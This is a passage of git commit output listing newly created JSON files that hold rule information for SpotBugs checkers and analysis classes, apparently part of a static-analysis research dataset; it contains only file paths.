Tool/Spotbugs/Rule Information/checkers/ShowHelp.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SloppyBugComparator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SortedBugCollection.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SortingBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SourceLineAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StackMapAnalyzer.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StartTime.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StatelessDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/StringAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SuppressionMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SuppressionMatcherBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SwitchHandler.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SynchronizedBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/SystemProperties.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUIBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUICommandLine.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TextUIProgressCallback.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Token.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Tokenizer.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TrainingDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/TypeAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/UseAnnotationDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Version.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/VersionInsensitiveBugComparator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/WarningComparator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/WarningSuppressor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XDocsBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XMLBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/XMLWriteableWithMessages.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/AbstractFBMethodVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/ClassNodeDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/FBClassReader.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/FBMethodVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractBlockOrder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractClassMember.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDominatorsAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractField.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractFrameModelingVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractMethod.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AccessMethodDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AccessibleEntity.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisContext.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisFeatures.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationEnumeration.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationRetentionDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AssertionMethods.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AssignedFieldMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BackwardDataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BasicAbstractDataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BasicBlock.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BetterCFGBuilder2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockOrder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockTypeAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockTypeDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BytecodeScanner.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFG.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilderException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilderFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGPrinter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CheckReturnAnnotationDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CheckReturnValueAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassContext.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassHash.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassMember.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassNotFoundExceptionParser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassSummary.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CompactLocationNumbering.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ComparableField.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ComparableMethod.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CompoundMethodChooser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DFSCFGPrinter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DFSEdgeTypes.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Dataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowAnalysisException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowCFGPrinter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowValueChooser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Debug.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DebugRepositoryLookupFailureCallback.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DefaultNullnessAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DepthFirstSearch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DominatorsAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Edge.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EdgeChooser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EdgeTypes.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EqualsKindSummary.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ExceptionHandlerMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FieldSummary.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FileSourceFileDataSource.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ForwardDataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Frame.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FrameDataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Hierarchy.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Hierarchy2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/INullnessAnnotationDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/IncompatibleTypes.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InnerClassAccess.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InnerClassAccessMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InstructionHandleMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InvalidBytecodeException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JCIPAnnotationDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JavaClassAndMethod.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JavaClassAndMethodChooser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LineNumberMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LiveLocalStoreAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LiveLocalStoreDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Location.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockChecker.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodBytecodeSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodChooser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodHash.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodUnprofitableException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MissingClassException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/NullnessAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/NullnessAnnotationDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ObjectTypeFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/OpcodeStackScanner.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Path.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PathVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PostDominatorsAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PruneInfeasibleExceptionEdges.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PruneUnconditionalExceptionThrowerEdges.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/PutfieldScanner.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/RepositoryClassParser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/RepositoryLookupFailureCallback.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceTracker.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueFrame.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ResourceValueFrameModelingVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPath.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPathAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReturnPathDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReverseDFSOrder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReverseDepthFirstSearch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ReversePostOrder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SignatureConverter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SignatureParser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SimplePathEnumerator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFile.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFileDataSource.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceFinder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/SourceInfoMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/StackDepth.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/StackDepthAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Target.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/TargetEnumeratingVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/TestCaseDetector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/URLClassPath.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/URLClassPathRepository.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/UnresolvedXField.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/UnresolvedXMethod.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XClass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XField.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XMethod.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/XMethodParameter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ZipSourceFileDataSource.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Binding.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/BindingSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/ByteCodePattern.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/ByteCodePatternMatch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/FieldAccess.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/FieldVariable.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/IfNull.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Invoke.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Load.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/LocalVariable.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/LongOrDoubleLocalVariable.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/MatchAny.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/MatchResult.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Monitorenter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/New.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/OneVariableInstruction.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Opcode.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternElement.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternElementMatch.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/PatternMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/SingleInstruction.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Store.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Variable.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/Wild.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/bcp/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/Call.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallList.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallListAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/CallListDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ca/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/ClassVertex.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceEdge.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceGraph.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InheritanceGraphVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraph.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraphEdge.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/InterproceduralCallGraphVertex.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/OverriddenMethodsVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/Subtypes2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/SupertypeTraversalVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/Constant.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantFrame.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantFrameModelingVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericObjectType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericSignatureParser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericUtilities.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/FieldSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/FieldSetAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/LoadAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/LoadDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/StoreAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/StoreDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/FieldPropertyDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/MethodPropertyDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/ParameterProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/PropertyDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/PropertyDatabaseFormatException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/AbstractMethodAnnotationAccumulator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/Analysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/DirectlyRelevantTypeQualifiersDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/FindBugsDefaultAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/FlowValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/JSR305NullnessAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ParameterAnnotationAccumulator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ParameterAnnotationLookupResult.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ReturnTypeAnnotationAccumulator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ReturnTypeAnnotationLookupResult.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/SourceSinkInfo.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/SourceSinkType.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierAnnotationLookupResult.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierApplications.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDatabase.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflowAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierDataflowFactory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierResolver.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/TypeQualifierValueSet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ValidatorClassLoader.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/DerefFinder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullConditionDecision.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueAnalysisFeatures.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueDataflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueFrame.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/IsNullValueFrameModelingVisitor.json create mode 